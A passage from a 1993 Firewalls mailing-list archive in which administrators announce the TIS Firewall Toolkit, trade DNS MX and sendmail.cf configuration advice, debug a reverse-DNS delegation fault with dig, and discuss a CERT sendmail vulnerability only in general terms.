)/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems From Firewalls-Owner Thu Oct 21 20:42:37 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA04621; Thu, 21 Oct 93 20:42:37 GMT Received: from relay.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA04613; Thu, 21 Oct 93 13:42:30 PDT Received: by relay.tis.com; id AA03579; Thu, 21 Oct 93 16:43:52 EDT Received: from tis.com(192.33.112.100) by relay via smap (V1.0mjr) id sma003574; Thu Oct 21 16:42:53 1993 Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA15668; Thu, 21 Oct 93 16:45:11 EDT Received: by otter.TIS.COM (5.65/client) id AA11092; Thu, 21 Oct 93 16:45:09 -0400 From: mjr@TIS.COM Date: Thu, 21 Oct 93 16:45:09 -0400 Message-Id: <11092.9310212045@otter.TIS.COM> To: firewalls@greatcircle.com Subject: Firewall toolkit V1.0 release Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk TIS Firewall Toolkit Trusted Information Systems, Inc. October 20, 1993 Version 1.0 of the TIS network firewall toolkit is now available for anonymous FTP from ftp.tis.com, in directory pub/firewalls/toolkit WHAT IS THE TIS FIREWALL TOOLKIT? --------------------------------- Trusted Information Systems, Inc. (TIS) is pleased to provide the TIS Firewall Toolkit, a software kit for building and maintaining internetwork Firewalls. It is distributed in source code form, with all modules written in the C programming language and runs on many BSD UNIX derived platforms. The Toolkit is being made available for use as specified in the license agreement (LICENSE). The firewall toolkit is a set of programs, configuration practices, and documentation intended to help individuals who are trying to build internet firewalls. Included with the kit are complete sources for FTP, rlogin, and telnet application proxies, user authentication management, compartmented SMTP, and logging/log reduction. USERS' GROUP ------------ TIS maintains the electronic-mail users' group for discussion of the toolkit. To join, send electronic mail to . TIS Firewall Toolkit technical questions, license issues, bug reports, etc. should be addressed to . Information about other TIS network security products or commercial licensing requests should be sent to or by telephone to (301) 854-6889. The contents of pub/firewalls/toolkit are as follows: README - This file fwtk-doc-only.tar.Z - Toolkit documentation fwtk.tar.Z - Toolkit sources and Makefiles (no documentation) US-only - Directory containing US-only software. If you are not accessing this from a site in the US or canada you will not be able to FTP these files. The toolkit is still useable without these files. From Firewalls-Owner Thu Oct 21 21:12:01 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA04712; Thu, 21 Oct 93 21:12:01 GMT Received: from relay1.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA04703; Thu, 21 Oct 93 14:11:47 PDT Received: from spool.uu.net (via LOCALHOST) by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA17032; Thu, 21 Oct 93 17:15:08 -0400 Received: from medtron.UUCP by uucp2.uu.net with UUCP/RMAIL (queueing-rmail) id 171208.26022; Thu, 21 Oct 1993 17:12:08 EDT Received: from medtron.medtronic.COM by relay.medtronic.com with SMTP id AA19295 (5.65c/IDA-1.4.4 for ); Thu, 21 Oct 1993 14:50:43 -0500 Received: from triton.cis.corp.medtronic.COM ([144.15.69.10]) by medtron.medtronic.COM with SMTP id AA19291 (5.65c/IDA-1.4.4 for ); Thu, 21 Oct 1993 14:50:40 -0500 Received: by triton.cis.corp.medtronic.COM id AA19445 (5.65c/IDA-1.4.4 for Firewalls@greatcircle.com); Thu, 21 Oct 1993 14:50:56 -0500 From: Roger-Hunen Message-Id: <199310211950.AA19445@triton.cis.corp.medtronic.COM> Subject: Re: MX record for domain? (long) To: Firewalls@greatcircle.com Date: Thu, 21 Oct 93 14:50:56 CDT In-Reply-To: <9310211508.AA20175@harker.com>; from "Robert Harker" at Oct 21, 93 8:08 am X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > The problem you have is with sendmail.cf file. It needs to be configured > to forward mail for mydomain.com to mailhost.mydomain.com. > > This is from what I explain in my "Sendmail Made Simple" and "Advance Sendmail" > classes. > > First to recap what is needed for DNS. The DNS server only needs to publish > The Start Of Authority (SOA), Name Server (NS) and Address (A) records for > the DNS servers. It then needs to advertise Mail eXchanger (MX) Records for > the domain itself and wild card MX records for anything inside the domain. > > For example: > ; primary DNS information file for widget.com domain > mydomain.com. SOA fire.mydomain.com. postmaster.fire.mydomain.com. ( > 93102101 ; SERIAL in yymmddvv format > 3600 ; REFRESH every hour > 300 ; RETRY every 5 mins. > 604800 ; EXPIRE in 7 days > 86400 ) ; MINIMUM TTL of a day > NS fire.mydomain.com. > NS ext-ns.service.prvdr. > ext-ns.service.prvdr. A 123.456.789.012 ; A record just in case > ; > @ MX 10 fire.mydomain.com. ; MX record for > MX 20 ext-ns.service.prvdr. ; the domain itself > ; > * MX 10 fire.mydomain.com. ; wildcard MX record for > MX 20 ext-ns.service.prvdr. ; the domain itself > ; Host information for the firewall > fire.mydomain.com. A 192.102.231.19 ; A record for the firewall > MX 10 fire.mydomain.com. ; Host specific MX record for > MX 20 ext-ns.service.prvdr. ; the firewall itself > > A few gotchas: > It is important that, if you advertize A records for hosts behind the > firewall, that you need to publish a host specific MX records for each host > pointing to the firewall. This is because if sendmail finds host specific > information for a host, it will not use any wildcard information (its a > feature (:-). > You also want to use a higher precedence MX record pointing to an external > mail server. This is to protect your host from being slaughtered if you > loose your link to the Internet. Mail in real time will be spooled on the > external mail server. When the link comes back up, the external mail server > will make a single SMTP connection to exchange the backlog of mail rather > than having each possible source of mail trying to make a separate connection. > (Please make sure that the external mail server is willing to do this for you) > > > The next part of the configuration is to have the firewall host deliver mail > for the domain or for a host in the domain to an internal mail host. This > is done in ruleset Zero of the sendmail.cf file. The simple way to deal with > this is to look for mail that ends with my domain name and deliver it to the > internal mail server ($D or $m in many, but not all sendmail.cf files): > R$+<@$+.$D> $#SMTP_mailer $@mailhost.mydomain.com $:$1@$2.$D > While this is the simple case, you will need to check for many different > cases: user, user@mydomain.com, user@int_host.mydomain.com, user@int_host. > > Most sendmail.cf files use the pseudo host @LOCAL (at local) to indicate > mail for this host itself and the pseudo domain .LOCAL (dot local) to > indicate delivery for the domain itself. You might want to try removing the > rules in ruleset Zero that strip the @LOCAL and .LOCAL pseudo domains. Then > around where you test for delivery to a host on the local network (R$+<@$->) > but before you test for delivery to a local user add some rules to handle > delivery to these pseudo domains. You also want to route mail to the local > network and to local users to the mail relay: > R$+<@$-> $#SMTP_mailer $@mailhost.mydomain.com $:$1@$2 > R$+<@$+.LOCAL> $#SMTP_mailer $@mailhost.mydomain.com $:$1@$2 > R$+<@LOCAL> $#SMTP_mailer $@mailhost.mydomain.com $:$1 > R$- $#SMTP_mailer $@mailhost.mydomain.com $:$1 > > By doing this in ruleset Zero you are only affecting the envelope address, > not the addresses in the mail message headers. > > Please note, these are code fragments for sendmail.cf and you would need to > debug them with all of the different variants of internal and external > addresses. The best tool for doing this is the checksendmail Perl script > written by Rob Kolstad and available on: > netcom.com:/pub/harker/checksendmail.shar > > Also for those who are interested, I am teaching my "Sendmail Made Simple" > and "Advance Sendmail" classes in Boston on Nov 1 & 2 and in Santa Clara CA > on Nov 10 & 11. For more information or to be added to our mailing list > please sendmail to: info@harker.com > > Hope this helps > RLH > > Robert Harker sendmail and TCP/IP Network Training > Harker Systems Network and Sysadmin Consulting > harker@harker.com 1180 Hester Ave > netcom!harker!harker San Jose, CA 95126 > uunet!harker!harker 408-295-9432 > From Firewalls-Owner Thu Oct 21 21:12:52 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA04725; Thu, 21 Oct 93 21:12:52 GMT Received: from relay2.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA04704; Thu, 21 Oct 93 14:11:55 PDT Received: from spool.uu.net (via LOCALHOST) by relay2.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA19596; Thu, 21 Oct 93 17:14:30 -0400 Received: from medtron.UUCP by uucp2.uu.net with UUCP/RMAIL (queueing-rmail) id 171213.26037; Thu, 21 Oct 1993 17:12:13 EDT Received: from medtron.medtronic.COM by relay.medtronic.com with SMTP id AA19335 (5.65c/IDA-1.4.4 for ); Thu, 21 Oct 1993 14:57:59 -0500 Received: from triton.cis.corp.medtronic.COM ([144.15.69.10]) by medtron.medtronic.COM with SMTP id AA19331 (5.65c/IDA-1.4.4 for ); Thu, 21 Oct 1993 14:57:56 -0500 Received: by triton.cis.corp.medtronic.COM id AA19454 (5.65c/IDA-1.4.4 for Firewalls@greatcircle.com); Thu, 21 Oct 1993 14:58:13 -0500 From: Roger-Hunen Message-Id: <199310211958.AA19454@triton.cis.corp.medtronic.COM> Subject: Re: MX record for domain? (long) To: Firewalls@greatcircle.com Date: Thu, 21 Oct 93 14:58:12 CDT In-Reply-To: <9310211508.AA20175@harker.com>; from "Robert Harker" at Oct 21, 93 8:08 am X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk OOPS!! The other one went out by accident... > First to recap what is needed for DNS. The DNS server only needs to publish > The Start Of Authority (SOA), Name Server (NS) and Address (A) records for > the DNS servers. It then needs to advertise Mail eXchanger (MX) Records for > the domain itself and wild card MX records for anything inside the domain. > > For example: > ; primary DNS information file for widget.com domain > mydomain.com. SOA fire.mydomain.com. postmaster.fire.mydomain.com. ( > 93102101 ; SERIAL in yymmddvv format > 3600 ; REFRESH every hour > 300 ; RETRY every 5 mins. > 604800 ; EXPIRE in 7 days > 86400 ) ; MINIMUM TTL of a day > NS fire.mydomain.com. > NS ext-ns.service.prvdr. > ext-ns.service.prvdr. A 123.456.789.012 ; A record just in case This A record is not needed, as ext-ns.service.prvdr. is outside our domain. > ; > @ MX 10 fire.mydomain.com. ; MX record for > MX 20 ext-ns.service.prvdr. ; the domain itself > ; > * MX 10 fire.mydomain.com. ; wildcard MX record for > MX 20 ext-ns.service.prvdr. ; the domain itself > ; Host information for the firewall > fire.mydomain.com. A 192.102.231.19 ; A record for the firewall > MX 10 fire.mydomain.com. ; Host specific MX record for > MX 20 ext-ns.service.prvdr. ; the firewall itself > > A few gotchas: > It is important that, if you advertize A records for hosts behind the > firewall, that you need to publish a host specific MX records for each host > pointing to the firewall. This is because if sendmail finds host specific > information for a host, it will not use any wildcard information (its a > feature (:-). Actually this is a feature of DNS, not of sendmail. However, since sendmail can't find an MX record for the host, but *can* find an A reocrd, it should still be able to deliver the mail (at least this is what I recall from memory; if this in incorrect, send me some flack). Regards, -Roger From Firewalls-Owner Fri Oct 22 01:10:52 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA05406; Fri, 22 Oct 93 01:10:52 GMT Received: from lokkur.dexter.mi.us (dexter-gw.dexter.msen.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA05398; Thu, 21 Oct 93 18:10:37 PDT Received: by lokkur.dexter.mi.us (5.65c/IDA-1.2.8) id AA09164; Thu, 21 Oct 1993 21:13:35 -0400 From: Steve Simmons Message-Id: <199310220113.AA09164@lokkur.dexter.mi.us> Subject: Re: MX record for domain? To: brent@greatcircle.com (Brent Chapman) Date: Thu, 21 Oct 1993 21:13:35 -0400 (EDT) Cc: bryan%uhura1@uunet.uu.net, firewalls@greatcircle.com In-Reply-To: <9310211902.AA04180@mycroft.GreatCircle.COM> from "Brent Chapman" at Oct 21, 93 12:02:53 pm X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 396 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Brent wrote: >If you've already got an A record that points to "mydomain.com", then >you don't need an MX record that points there, too. There are times you want to do this, tho. My IP link is very intermittent (like, when I'm home and want it on). Putting my own host as first MX means immediate delivery when the machine is on-line, immediate delivery to my service provider when it's not. From Firewalls-Owner Fri Oct 22 01:22:48 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA05459; Fri, 22 Oct 93 01:22:48 GMT Received: from Sun.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA05451; Thu, 21 Oct 93 18:22:40 PDT Received: from firstfloor.COM ([140.174.92.1]) by Sun.COM (4.1/SMI-4.1) id AA01176; Thu, 21 Oct 93 18:26:22 PDT Received: from thekid.firstfloor.COM by firstfloor.COM (4.1/SMI-4.1) id AA24514; Thu, 21 Oct 93 18:26:26 PDT From: jjames@firstfloor.COM (John W. James - First Floor, Inc) To: firewalls@greatcircle.com Subject: Getting Reverse Lookup Right Reply-To: jjames@firstfloor.COM Date: Thu, 21 Oct 93 18:26:23 PDT Message-Id: <9310220126.175BFC@thekid.firstfloor.COM> X-Mailer: SelectMAIL 1.0 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk In preparing my network to put a firewall in place, I thought I would take care of one nagging little problem that has bit us from time to time. ftp servers which perform reverse lookup checks reject us due to lookup failure. I've been over my DNS configuration files several times without success in identifying the problem, and when I found I could not pull the newly announced firewall files from tis.com for this very reason, I've decided to ask for some help. The machine is a SPARCstation 2 running SunOS 4.1.2. All ftp work was being done from this machine. Here are the contents of a few of my configuration files: named.boot: directory /var/named primary firstfloor.com db.firstfloor primary 92.174.140.in-addr.arpa db.140.174.92 primary 0.0.127.in-addr.arpa db.127.0.0 cache . db.cache db.firstfloor: @ IN SOA firstfloor.firstfloor.com. jjames.firstfloor.com. ( 1993061007 ; Serial 10800 ; Refresh after 3 hours 3600 ; Retry after 1 hour 21600 ; Expire in 1/4 day -was 604800 ; Expire after 1 week- 10800 ) ; Minimum TTL of 3 hours -was 1 day- @ IN NS firstfloor.firstfloor.com. IN NS BA.TIS.COM. IN NS rambus.com. localhost IN A 127.0.0.1 ; eyrie IN A 129.140.40.1 ; @ IN A 140.174.92.1 firstfloor.com. IN A 140.174.92.1 firstfloor IN A 140.174.92.1 firstfloor.com. IN MX 1 firstfloor.firstfloor.com. ; firstfloor.firstfloor.com. IN MX 1 firstfloor.firstfloor.com. db.140.174.92: @ IN SOA firstfloor.firstfloor.com. jjames.firstfloor.com. ( 1993061007 ; Serial 10800 ; Refresh after 3 hours 3600 ; Retry after 1 hour 21600 ; Expire after 1/4 day -was 604800 ; Expire after 1 week- 10800 ) ; Minimum TTL of 3 hours -was 1 day- @ IN NS firstfloor.firstfloor.com. IN NS BA.TIS.COM. IN NS RAMBUS.COM. 1.92.174.140.in-addr.arpa. IN PTR firstfloor.firstfloor.com. From Firewalls-Owner Fri Oct 22 01:43:49 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA05500; Fri, 22 Oct 93 01:43:49 GMT Received: from tadpole.Tadpole.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA05492; Thu, 21 Oct 93 18:43:41 PDT Received: from chiba.tadpole.com by tadpole.Tadpole.COM (4.1/SMI-4.1) id AA00501; Thu, 21 Oct 93 20:47:17 CDT Received: by chiba.tadpole.com (5.0/SMI-SVR4) id AA02696; Thu, 21 Oct 1993 20:43:52 +0600 Date: Thu, 21 Oct 1993 20:43:52 +0600 From: jim@Tadpole.COM (Jim Thompson) Message-Id: <9310220143.AA02696@chiba.tadpole.com> To: jjames@firstfloor.COM Subject: Re: Getting Reverse Lookup Right Cc: Firewalls@greatcircle.com Content-Length: 552 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Um, lets see, could it be that your not properly delegated? Jim tadpole 73 nslookup Default Server: tadpole.Tadpole.COM Address: 160.104.1.1 > sett q=soa > 174.140.in-addr.arpa. Server: tadpole.Tadpole.COM Address: 160.104.1.1 174.140.in-addr.arpa origin = cygnus.com mail addr = postmaster.cygnus.com serial=244, refresh=21600, retry=3300, expire=99999999, min=43200 > 92.174.140.in-addr.arpa. Server: tadpole.Tadpole.COM Address: 160.104.1.1 *** tadpole.Tadpole.COM can't find 92.174.140.in-addr.arpa.: Server failed From Firewalls-Owner Fri Oct 22 01:50:40 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA05522; Fri, 22 Oct 93 01:50:40 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA05514; Thu, 21 Oct 93 18:50:31 PDT Message-Id: <9310220150.AA05514@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by gryphon; Thu Oct 21 21:53:22 EDT 1993 To: jjames@firstfloor.COM Cc: firewalls@GreatCircle.COM Subject: Re: Getting Reverse Lookup Right Date: Thu, 21 Oct 93 21:53:21 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Let me commend the `dig' tool to anyone who runs a DNS server. It showed the problem in about 20 seconds. $ dig firstfloor.com ; <<>> DiG 2.0 <<>> firstfloor.com ;; ->>HEADER<<- opcode: QUERY , status: NOERROR, id: 6 ;; flags: qr rd ra ; Ques: 1, Ans: 1, Auth: 2, Addit: 2 ;; QUESTIONS: ;; firstfloor.com, type = A, class = IN ;; ANSWERS: firstfloor.com. 172800 A 140.174.92.1 ;; AUTHORITY RECORDS: FIRSTFLOOR.COM. 172800 NS FIRSTFLOOR.COM. FIRSTFLOOR.COM. 172800 NS RAMBUS.COM. ;; ADDITIONAL RECORDS: FIRSTFLOOR.COM. 172800 A 140.174.92.1 RAMBUS.COM. 172800 A 192.86.86.1 ;; Sent 1 pkts, answer found in time: 159 msec ;; FROM: ninet to SERVER: default -- 0.0.0.0 ;; WHEN: Fri Oct 22 01:47:18 1993 ;; MSG SIZE sent: 32 rcvd: 129 $ dig -x 140.174.92.1 ; <<>> DiG 2.0 <<>> -x ;; ->>HEADER<<- opcode: QUERY , status: SERVFAIL, id: 6 ;; flags: qr rd ra ; Ques: 1, Ans: 0, Auth: 0, Addit: 0 ;; QUESTIONS: ;; 1.92.174.140.in-addr.arpa, type = ANY, class = IN ;; Sent 1 pkts, answer found in time: 918 msec ;; FROM: ninet to SERVER: default -- 0.0.0.0 ;; WHEN: Fri Oct 22 01:47:30 1993 ;; MSG SIZE sent: 43 rcvd: 43 $ dig ns 92.174.140.in-addr.arpa ; <<>> DiG 2.0 <<>> ns 92.174.140.in-addr.arpa ;; ->>HEADER<<- opcode: QUERY , status: NOERROR, id: 6 ;; flags: qr rd ra ; Ques: 1, Ans: 1, Auth: 1, Addit: 0 ;; QUESTIONS: ;; 92.174.140.in-addr.arpa, type = NS, class = IN ;; ANSWERS: 92.174.140.in-addr.arpa. 43186 NS first-floor.com. ;; AUTHORITY RECORDS: 92.174.140.IN-ADDR.ARPA. 43186 NS first-floor.com. ;; Sent 1 pkts, answer found in time: 0 msec ;; FROM: ninet to SERVER: default -- 0.0.0.0 ;; WHEN: Fri Oct 22 01:47:44 1993 ;; MSG SIZE sent: 41 rcvd: 107 The first query looked up firstfloor.com, and got the expected address. The attempt to look up the name corresponding to 140.174.92.1 failed, as we knew it would -- but the status code is SERVFAIL, not NXDOMAIN. In other words, something is wrong with the server. I then asked who the server was for that inverse domain (92.174.140.in-addr.arpa). It says first-floor.com, a big difference... One more query is useful: $ dig soa 174.140.in-addr.arpa ; <<>> DiG 2.0 <<>> soa 174.140.in-addr.arpa ;; ->>HEADER<<- opcode: QUERY , status: NOERROR, id: 6 ;; flags: qr aa rd ra ; Ques: 1, Ans: 1, Auth: 0, Addit: 0 ;; QUESTIONS: ;; 174.140.in-addr.arpa, type = SOA, class = IN ;; ANSWERS: 174.140.in-addr.arpa. 172800 SOA cygnus.com. postmaster.cygnus.com. ( 244 ;serial 21600 ;refresh 3300 ;retry 99999999 ;expire 43200 ) ;minim ;; Sent 1 pkts, answer found in time: 173 msec ;; FROM: ninet to SERVER: default -- 0.0.0.0 ;; WHEN: Fri Oct 22 01:52:19 1993 ;; MSG SIZE sent: 38 rcvd: 95 It tells us who runs the parent inverse domain: postmaster.cygnus.com. That's who can/should fix the problem. But the fix will take a while to propagate, because the old and erroneous NS records have to expire first. From Firewalls-Owner Fri Oct 22 02:26:07 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA05593; Fri, 22 Oct 93 02:26:07 GMT Received: from Sun.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA05585; Thu, 21 Oct 93 19:25:58 PDT Received: from firstfloor.COM ([140.174.92.1]) by Sun.COM (4.1/SMI-4.1) id AA06389; Thu, 21 Oct 93 19:29:44 PDT Received: from thekid.firstfloor.COM by firstfloor.COM (4.1/SMI-4.1) id AA25679; Thu, 21 Oct 93 19:29:50 PDT From: jjames@firstfloor.COM (John W. James - First Floor, Inc) To: smb@research.att.com firewalls@greatcircle.com Subject: Re: Getting Reverse Lookup Right Reply-To: jjames@firstfloor.COM Date: Thu, 21 Oct 93 19:29:43 PDT Message-Id: <9310220229.2B5A38@thekid.firstfloor.COM> X-Mailer: SelectMAIL 1.0 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Thanks to you and all for the quick and correct answers. Your mail was informative and contained everything I'd want to know save one thing: where do I get dig? John From Firewalls-Owner Fri Oct 22 02:31:17 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA05626; Fri, 22 Oct 93 02:31:17 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA05618; Thu, 21 Oct 93 19:31:09 PDT Message-Id: <9310220231.AA05618@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by gryphon; Thu Oct 21 22:34:44 EDT 1993 To: jjames@firstfloor.COM Cc: firewalls@greatcircle.com Subject: Re: Getting Reverse Lookup Right Date: Thu, 21 Oct 93 22:34:43 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Thanks to you and all for the quick and correct answers. Your mail was informative and contained everything I'd want to know save one thing: where do I get dig? John It's /pub/dig.2.0.tar.Z on venera.isi.edu. While you're there, pick up doc.2.0.tar.Z, the Domain Obscenity Checker. It does some consistency checks. I personally find dig to be far superior to nslookup. If nothing else, I can predict what it's going to do, and what server it will ask. And I like its command-line interface much better; it's more UNIX-like, even if the details of the arguments aren't, and even if its output is generally too verbose. --Steve Bellovin From Firewalls-Owner Fri Oct 22 14:09:33 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07077; Fri, 22 Oct 93 14:09:33 GMT Received: from uu3.psi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07069; Fri, 22 Oct 93 07:09:26 PDT Received: from bacon.UUCP by uu3.psi.com (5.65b/4.0.071791-PSI/PSINet) via UUCP; id AA01669 for ; Fri, 22 Oct 93 09:58:36 -0400 Received: from lorax.imsi.com by bacon.IMSI.COM (4.1/SMI-4.1) id AA12562; Fri, 22 Oct 93 09:28:44 EDT Received: from localhost by lorax.imsi.com (4.1/SMI-4.1) id AA00380; Fri, 22 Oct 93 09:28:43 EDT Message-Id: <9310221328.AA00380@lorax.imsi.com> To: firewalls@greatcircle.com Subject: Sun sendmail vulnerability Reply-To: rens@imsi.com Date: Fri, 22 Oct 1993 09:28:43 -0400 From: Rens Troost Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hi- Does anyone have more info on the sendmail vulnerability announced by CERT yesterday? What's the hole? Does it only concern TCP connections into sendmail? Or can forwarded mail be used to exploit it? CERT hinted the former to me on the phone, but I'd like any perspectives on this from someone who knows. -Rens From Firewalls-Owner Fri Oct 22 15:07:32 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07237; Fri, 22 Oct 93 15:07:32 GMT Received: from bedrock.cs.UMD.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07228; Fri, 22 Oct 93 08:07:20 PDT Received: by bedrock.cs.UMD.EDU (5.64/UMIACS-0.9/04-05-88) id AA15724; Fri, 22 Oct 93 11:10:32 -0400 Date: Fri, 22 Oct 93 11:10:32 -0400 From: reh@cs.UMD.EDU (Richard Huddleston) Message-Id: <9310221510.AA15724@bedrock.cs.UMD.EDU> To: Firewalls@GreatCircle.com Subject: sendmail and CERT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >From what I've heard, this bug effects all sendmail using the ForceMail variable in recipient.c . This bug is apparently cleared in the 8.6 source, and can be cleared either by clearing it and rebuilding ( if you've got the SunOS source ) or by the patches that I'm sure everybody already knows about. Boy, I was sure fond of the word "clear" in that last paragraph ;). Richard --- Hi- Does anyone have more info on the sendmail vulnerability announced by CERT yesterday? What's the hole? Does it only concern TCP connections into sendmail? Or can forwarded mail be used to exploit it? CERT hinted the former to me on the phone, but I'd like any perspectives on this from someone who knows. -Rens --- From Firewalls-Owner Fri Oct 22 15:25:31 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07324; Fri, 22 Oct 93 15:25:31 GMT Received: from voyager.datatools.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07316; Fri, 22 Oct 93 08:25:24 PDT Message-Id: <9310221525.AA07316@mycroft.GreatCircle.COM> Received: by voyager.datatools.com (4.1/4.7); Fri, 22 Oct 93 08:30:40 PDT Date: Fri, 22 Oct 93 08:30:40 PDT From: greep@datatools.com (Steven Tepper) To: rens@imsi.com Cc: firewalls@GreatCircle.COM In-Reply-To: <9310221328.AA00380@lorax.imsi.com> (message from Rens Troost on Fri, 22 Oct 1993 09:28:43 -0400) Subject: Re: Sun sendmail vulnerability Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=us-ascii Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Does anyone have more info on the sendmail vulnerability announced by > CERT yesterday? What's the hole? Does it only concern TCP connections > into sendmail? Or can forwarded mail be used to exploit it? CERT > hinted the former to me on the phone, but I'd like any perspectives on > this from someone who knows. This isn't much, but the README from Sun patch 101077-03 says: 1142888: A sendmail security hole dealing with mail delivered to files The phrase "delivered to files" sounds as if it refers to aliases that put the mail in a named file, e.g. "foo:/usr/adm/foolog". From Firewalls-Owner Fri Oct 22 15:28:08 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07341; Fri, 22 Oct 93 15:28:08 GMT Received: from Sun.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07333; Fri, 22 Oct 93 08:27:55 PDT Received: from Corp.Sun.COM (lemay.Corp.Sun.COM) by Sun.COM (4.1/SMI-4.1) id AA02276; Fri, 22 Oct 93 08:31:37 PDT Received: from death.corp.sun.com by Corp.Sun.COM (4.1/elliemay (corpmail1 inbound)) id AA17234; Fri, 22 Oct 93 08:31:36 PDT Received: by death.corp.sun.com (4.1/SMI-4.1) id AA05805; Fri, 22 Oct 93 08:31:35 PDT Message-Id: <9310221531.AA05805@death.corp.sun.com> From: Dan.Farmer@Corp.Sun.COM Date: Fri, 22 Oct 1993 08:31:35 -0700 In-Reply-To: Rens Troost "Sun sendmail vulnerability" (Oct 22, 9:28) X-Mailer: Mail User's Shell (7.2.2 4/12/91) To: rens@imsi.com, firewalls@GreatCircle.COM Subject: Re: Sun sendmail vulnerability Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Does anyone have more info on the sendmail vulnerability announced by > CERT yesterday? Why, as a matter of fact... The bug is a variation of an older one; basically by manipulating the headers you can execute a command remotely. I don't know how your setup forwards mail, but if you just pump all the mail to a internal spot that then processes it, I suppose it could be affected (and certainly if you use sendmail to forward the stuff.) A couple of other details; as far as I know, when the bug is exploited, or is attempted, a note will go to the postmaster, so if you see some suspicious mail (you'd know when you saw it, believe me :-)) I'm not sure if this is a strictly sun thing, but I suspect we did this one all by ourselves. I'll be sending some stuff to berkeley, however, just to be sure. -- d From Firewalls-Owner Fri Oct 22 16:21:28 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07476; Fri, 22 Oct 93 16:21:28 GMT Received: from aisdb1.llnl.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07468; Fri, 22 Oct 93 09:21:20 PDT Message-Id: <9310221621.AA07468@mycroft.GreatCircle.COM> Received: by aisdb1.llnl.gov (1.37.109.4/16.2) id AA04037; Fri, 22 Oct 93 09:25:15 -0700 From: Leland K. Neely Subject: Re: Sun sendmail vulnerability To: Dan.Farmer@corp.sun.com, rens@imsi.com Date: Fri, 22 Oct 93 9:25:14 PDT Cc: firewalls@greatcircle.com In-Reply-To: <9310221531.AA05805@death.corp.sun.com>; from "Dan.Farmer@corp.sun.com" at Oct 22, 93 8:31 am Mailer: Elm [revision: 70.85] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Guys- Flame on: Please refrain from disclosing bug particulars on an email list. All we need is to have hackers get the inside poop on a hole faster than we can patch it. etc. etc..... Flame off. I know you are trying to understand the vulnerability, but please consider the (potential) audience when asking such questions. Cheers! Lee lkn@llnl.gov From Firewalls-Owner Fri Oct 22 16:50:59 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07583; Fri, 22 Oct 93 16:50:59 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07568; Fri, 22 Oct 93 09:50:36 PDT Received: from relay.lehman.com ([192.9.140.112]) by lehman.com (4.1/LB 0.1) id AA22844; Fri, 22 Oct 93 